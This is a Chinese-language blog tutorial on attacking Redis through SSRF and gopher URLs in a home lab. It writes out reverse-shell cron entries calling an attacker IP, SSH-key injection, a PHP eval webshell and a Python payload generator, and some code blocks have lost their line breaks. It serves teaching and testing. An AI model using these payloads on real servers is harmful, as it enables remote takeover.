SSRF在Redis中的利用

环境准备

Kali Linux/Centos7 都是在VM虚拟机上

功能 系统 IP
客户端 Kali Linux 192.168.231.140
服务端 Centos7 192.168.231.141

建议先去菜鸟教程上学习一下redis命令

Redis安装

Redis是一个高性能的 key-value 数据库。

Centos7

redis是用 C 语言开发,安装之前必先确认是否安装 gcc 环境。(gcc -v 可查看)

yum install -y gcc

下载并解压安装包

wget http://download.redis.io/releases/redis-5.0.3.tar.gz
tar -zxvf redis-5.0.3.tar.gz

cd切换到redis解压目录下,执行编译

cd redis-5.0.3
make

安装并指定安装目录

make install PREFIX=/usr/local/redis

启动redis

cd /usr/local/redis/bin/
./redis-server

Kali Linux

  • 安装命令
apt-get install redis-server

如果下载速度慢请在/etc/apt/sources.list更换镜像

  • 镜像
deb http://mirrors.aliyun.com/kali kali-rolling main non-free contrib
deb-src http://mirrors.aliyun.com/kali kali-rolling main non-free contrib

启动redis

service redis-server start

远程访问redis

修改redis.conf(如果不修改,不可远程登录)

vim /etc/redis/redis.conf
# 注释掉以下内容
bind 127.0.0.1

# 保护模式,关闭保护模式,否则外部ip无法连接
protected-mode no

以防万一,在服务端设置一下iptables规则,允许外部访问6379端口。(此命令临时生效,重启后失效)

iptables -I INPUT 1 -p tcp -m state --state NEW -m tcp --dport 6379 -j ACCEPT
  • 客户端连接redis
redis-cli -h 192.168.231.141 -p 6379

Redis传输方式

redis支持两种传输协议,一种是明文传输,其命令如下:

SET keyname value\n

另一种是经过编码的传输协议:

*3\r\n$3\r\nset\r\n$7\r\nkeyname\r\n$5\r\nvalue\r\n

通过一个实验来解释一下:

使用tcpdump来抓包,在Centos7执行以下命令

tcpdump -i ens33 port 6379 -w redis.pcap

-i:指定网卡为ens33
port:指定抓哪个端口的数据
-w:将流量包保存为文件

Kali Linux连接redis,依次执行set a aget a

然后在Centos7ctrl+c关闭tcpdump,完成抓包,得到文件redis.pcap

wireshark打开redis.pcap,随便选择一行数据右键点击追踪流->TCP流

参数解释:

*3 表示3个参数
$3 第一个参数的长度
set 第一个参数的值 (要执行的Command = set)
$1 第二个参数的长度
a 第二个参数的值 (a)
$1 第三个参数的长度
a 第三个参数的值 (a)
+OK 执行结果
*2 表示2个参数
$3 第一个参数的长度
get 第一个参数的值 (要执行的Command = get)
$1 第二个参数的长度
a 第二个参数的值 (a)
a 执行结果

gopher+redis

因为gopher是基于tcp的,能发送tcp数据流,所以可以利用gopher来发送redis命令,这需要将redis命令修改为正确的格式。(gopher格式在SSRF漏洞详解讲过,这里就不讲了)

先设置一个key-value对:set name abc

构造一个gopher请求来获取name,(用到的redis命令是:get name)

有两种方式:

  • 第一
curl gopher://192.168.231.141:6379/_get%20name%0d%0a
  • 第二
curl gopher://192.168.231.140:6379/_*2
$3
get
$4
name

进行url编码

curl gopher://192.168.231.141:6379/_*2%0d%0a%243%0d%0aget%0d%0a%244%0d%0aname%0d%0a

两种方法都成功执行get name命令获取到了name的值

ssrf+gopher+redis

原理

ssrf中利用gopher协议的方法在这里已经讲过,不懂的先去看这篇文章

一个存在SSRF漏洞的php文件

//test.php
<?php
    $url = $_GET['url'];
    echo $url."<br>";
    $curlobj = curl_init($url);
    echo curl_exec($curlobj);
?>

在Linux命令行中执行以下命令来查看Redis命令执行记录:(在redis服务器上执行,我这里是Centos7上执行)

redis-cli -h 127.0.0.1  monitor

执行过上面命令后依次访问下面两个url

  1. 执行的redis命令是set a a

    http://192.168.231.141/test.php?url=gopher://192.168.231.141:6379/_set%2520a%2520a%250d%250a
    
  2. 执行的redis命令是get a

    http://192.168.231.141/test.php?url=gopher://192.168.231.141:6379/_get%2520a%250d%250a
    

查看浏览器反应

  • 一直转圈圈,然后出现504 Gateway Time-out,不确定到底执行了传入的redis命令没有

查看Redis命令执行记录。(有时候会执行,有时候不执行,不稳定,如果不行就重启redis)

虽然在浏览器里面没有回显,但是 redis服务器 已经执行了上面两条命令,所以可以通过 ssrf 让 redis服务器执行命令。

Redis未授权访问攻击

前提是redis没有设置密码

用到的几个redis命令

//获取redis安装目录
config get dir

//获取备份文件名
config get dbfilename

//修改redis安装目录
config set dir <目录>

//修改备份文件名
config set dbfilename <文件名>

反弹shell

反弹shell命令。(攻击机IP为192.168.231.140,这个需要根据你自己的IP修改)

set mars "\n* * * * * root bash -i >& /dev/tcp/192.168.231.140/9999 0>&1\n"
config set dir /etc/
config set dbfilename crontab
save

上述命令的含义总结为,利用Redis的备份功能,将crontab的定时任务备份到/etc/crontab中,起到执行命令的效果,因为Linux会监测/etc/crontab的内容,当我们将反弹shell的命令加入进去后,便会被执行,具体解释如下:

# 添加名为mars的key,值为后面反弹shell的语句,是crontab定时命令,有六个参数,前面5个星号代表每分钟执行一次,开始和结束的\n必须要有一个,也多个可以,主要是为了避免crontab的语法错误。crontab知识可以参考:[Linux Crontab 定时任务](https://www.runoob.com/w3cnote/linux-crontab-tasks.html "Linux Crontab 定时任务")
set mars "\n* * * * * root bash -i >& /dev/tcp/192.168.231.140/9999 0>&1\n"
# 设置备份的路径为/etc
config set dir /etc/
# 在/etc/目录下创建一个RDB(可以理解为redis database)备份文件
config set dbfilename crontab
# 开始备份
save

简单测试

先不利用ssrf,在redis里手动测试一下,看看能不能成功反弹shell

反弹shell需要在攻击机起一个监听nc -lp 9999

然后连接redis,执行上面的反弹shell命令

然后等待,但是 nc 却一直没有反应,可能是 /etc/crontab 没有执行定时任务,换一个反弹shell命令试一试。

(/var/spool/cron/ 目录下存放的也是定时任务)

set mars "\n* * * * * bash -i >& /dev/tcp/192.168.231.140/9999 0>&1\n"
config set dir /var/spool/cron/
config set dbfilename root
save

等待一分钟后成功反弹shell

写定时任务

我们要做的就是利用SSRFredis服务器执行这些命令

格式
http://192.168.231.141/test.php?url=gopher://192.168.231.140:6379/_命令

命令不能直接照搬,需要进行两次url编码

set%2520mars%2520%2522%255Cn*%2520*%2520*%2520*%2520*%2520bash%2520-i%2520%253E%2526%2520%252Fdev%252Ftcp%252F192.168.231.140%252F9999%25200%253E%25261%255Cn%2522%250d%250aconfig%2520set%2520dir%2520%252Fvar%252Fspool%252Fcron%252F%250d%250aconfig%2520set%2520dbfilename%2520root%250d%250asave

两者结合就是

http://192.168.231.141/test.php?url=gopher://192.168.231.141:6379/_set%2520mars%2520%2522%255Cn*%2520*%2520*%2520*%2520*%2520bash%2520-i%2520%253E%2526%2520%252Fdev%252Ftcp%252F192.168.231.140%252F9999%25200%253E%25261%255Cn%2522%250d%250aconfig%2520set%2520dir%2520%252Fvar%252Fspool%252Fcron%252F%250d%250aconfig%2520set%2520dbfilename%2520root%250d%250asave

在攻击机起一个监听nc -lp 9999,然后访问 url ,等待一分钟后成功反弹shell

写ssh-keygen公钥

在上面 反弹shell 内容中讲了如何使用Redis的数据备份将系统命令写入定时任务文件然后执行命令,接下来讲解通过写入ssh-keygen公钥,然后使用私钥登录。思路还是利用备份,将私钥字符串备份到目标服务器.ssh目录下。

利用条件
1. Redis要暴露在公网上
2. Redis要没有设置密码
3. Redis要是以root的权限启动的
4. 服务器开放了SSH服务,而且允许使用密钥登录

开启ssh

可能在服务器上没有/root/.ssh目录,这是因为 .ssh 是记录密码信息的文件夹,如果没有登录过 root 的话,就没有 .ssh 文件夹,因此登录 localhost ,并输入密码就会生成了。

解决方法:执行以下命令

示例:

攻击步骤

1.首先在本地生成一对密钥。(注意是在攻击机上,我这里是 Kali Linux)

命令:

ssh-keygen -t rsa

生成的文件在/root/.ssh目录,id_rsa是私钥、id_rsa.pub是公钥

2.查看公钥

cat id_rsa.pub

这是公钥:

ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQC7Z4jpQDYoyv/qx3GfrwnDKIdVg9g9PNj8fxbkArtBipBVm7Yf3fGbMKos9/4wgS4+zTa6bvTf8qDS2Wz3TDDOVPZSE/bZvSumm8PWnsCQdAM40lvVfLiVLjz+l5g353eW/1KGPtQ9db+faRk8Up0wgpo9IpKPa8o9C7VfCL3VcLKrfE/fyXCr6u8XElJA+teoubNwdonrKI39+IM6yPwg1Pdp6QfbrTH2G1E1YZnVYRLHGG4oWKK3tQDF38Y8biwqwwYKpUOAA0QuDSqv3VgXN0bDKIOP9o+Do+U6tIgJfJmvddU3v4QKvkgSFNAS+UQFyuifaUnYG+vOsKgXVNZXWUrI3s7ZD6/8/UeHEtdolGP8pR3vgiDwhGr0CFyvJBn2gWzBD1+s/OxhvaHNm6Wi2gppz/lyJHdl9SI8zGPFxrw2FKTyI+itKwApwxTSk1uSo6/iLnlmOo7vPHpc9qtzt+g+g6Ng+dZtwLjBGZzNone0XUOfckzmqiBjqhqD/xU= root@kali

将.ssh目录下的公钥文件保存到1.txt,并且在前后加上换行,目的是分隔公钥与其他字符串

(echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n") > 1.txt

将公钥文件1.txt 通过redis-cli客户端写入到目标主机缓存中

cat /root/.ssh/1.txt | redis-cli -h 192.168.231.141 -x set key

3.使用Redis的备份功能,将公钥传到目标服务器/root/.ssh/authorized_keys文件中。

命令:

config set dir /root/.ssh/config set dbfilename authorized_keyssave

4.使用 ssh 连接服务器。(id_rsa 是私钥)

ssh -i id_rsa 192.168.231.141

不用密码就直接连接上了

拓展

如果外网不能连接 redis,怎么办?答案是利用 ssrf

上面都是手动测试,这次利用脚本来测试

import requestsurl = "http://192.168.231.141/test.php?url="gopher = "gopher://192.168.231.141:6379/_"# redis命令 ,注意转义 \n 中的 \command = '''config set dir /root/.ssh/config set dbfilename authorized_keysset key "\\n\\nssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQC7Z4jpQDYoyv/qx3GfrwnDKIdVg9g9PNj8fxbkArtBipBVm7Yf3fGbMKos9/4wgS4+zTa6bvTf8qDS2Wz3TDDOVPZSE/bZvSumm8PWnsCQdAM40lvVfLiVLjz+l5g353eW/1KGPtQ9db+faRk8Up0wgpo9IpKPa8o9C7VfCL3VcLKrfE/fyXCr6u8XElJA+teoubNwdonrKI39+IM6yPwg1Pdp6QfbrTH2G1E1YZnVYRLHGG4oWKK3tQDF38Y8biwqwwYKpUOAA0QuDSqv3VgXN0bDKIOP9o+Do+U6tIgJfJmvddU3v4QKvkgSFNAS+UQFyuifaUnYG+vOsKgXVNZXWUrI3s7ZD6/8/UeHEtdolGP8pR3vgiDwhGr0CFyvJBn2gWzBD1+s/OxhvaHNm6Wi2gppz/lyJHdl9SI8zGPFxrw2FKTyI+itKwApwxTSk1uSo6/iLnlmOo7vPHpc9qtzt+g+g6Ng+dZtwLjBGZzNone0XUOfckzmqiBjqhqD/xU= root@kali\\n\\n"savequit'''def encoder_url(data):    encoder = ""    for single_char in data:        # 先转为ASCII        encoder += str(hex(ord(single_char)))    encoder = encoder.replace("0x", "%").replace("%a", "%0d%0a")    return encoder# 将 redis命令 二次编码encoder = encoder_url(encoder_url(command))# 生成payloadpayload = url + gopher + encoderprint(payload)# 发起请求result = requests.get(url=payload)

然后在攻击机上就可以使用 ssh 无密码连接服务器

写webshell

原理还是利用Redis的备份功能,只不过这次是备份一个webshell。

我使用的是phpstudy集成环境,不懂phpstudy的建议先去学习怎么使用phpstudy

利用条件
  • 当前运行redis的用户在web目录有写权限
  • 知道web目录的绝对路径(不然无法用蚁剑等工具连接)
方法

直接利用前面的 python 脚本

将 command 修改为以下内容:(注意修改 dir 路径,这里是我的 phpstudy 站点目录 )

'''
config set dir /www/admin/localhost_80/wwwroot
config set dbfilename getshell.php
set webshell "\\n<?php eval($\_POST['flag']);?>\\n"
save
quit
'''

上面命令意思是往/www/admin/localhost_80/wwwroot/getshell.php中写入<?php eval($\_POST['flag']);?>

然后用蚁剑连接

Redis认证攻击

以上为Redis未授权访问攻击,redis 没有密码,但如果Redis设置了密码怎么办呢?

设置密码

先学习怎么给 redis 设置密码。有两种方法:

  1. 执行以下命令:

    config set requirepass 123456
    
  1. 打开 redis.conf,找到以下内容,去掉 #,然后密码就是foobared,可以随意更改为其他

    #requirepass foobared
    

使用密码登录

auth + 密码

auth 123456

暴力破解

payload

http://192.168.231.141/test.php?url=gopher://192.168.231.141:6379/_auth%2520rootroot%250d%250a

总结

  1. 上面讲的主要是通过 ssrf 来攻击 redis,因为一般 redis 不允许外网连接,利用 ssrf 可以打进内网。
  2. 未授权访问攻击都利用了备份文件,将利用代码或内容写入特定文件,让系统执行。不足之处是这样要有较高的权限能够在特定目录下写文件,真实环境下难以利用。
  • 参考文章:

https://zhuanlan.zhihu.com/p/113396148

[https://www.cnblogs.com/jinjiyese153/p/8600703.html](


文章作者: MissPower007
文章链接: http://time.pings.fun
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 MissPower007 !
评论
  目录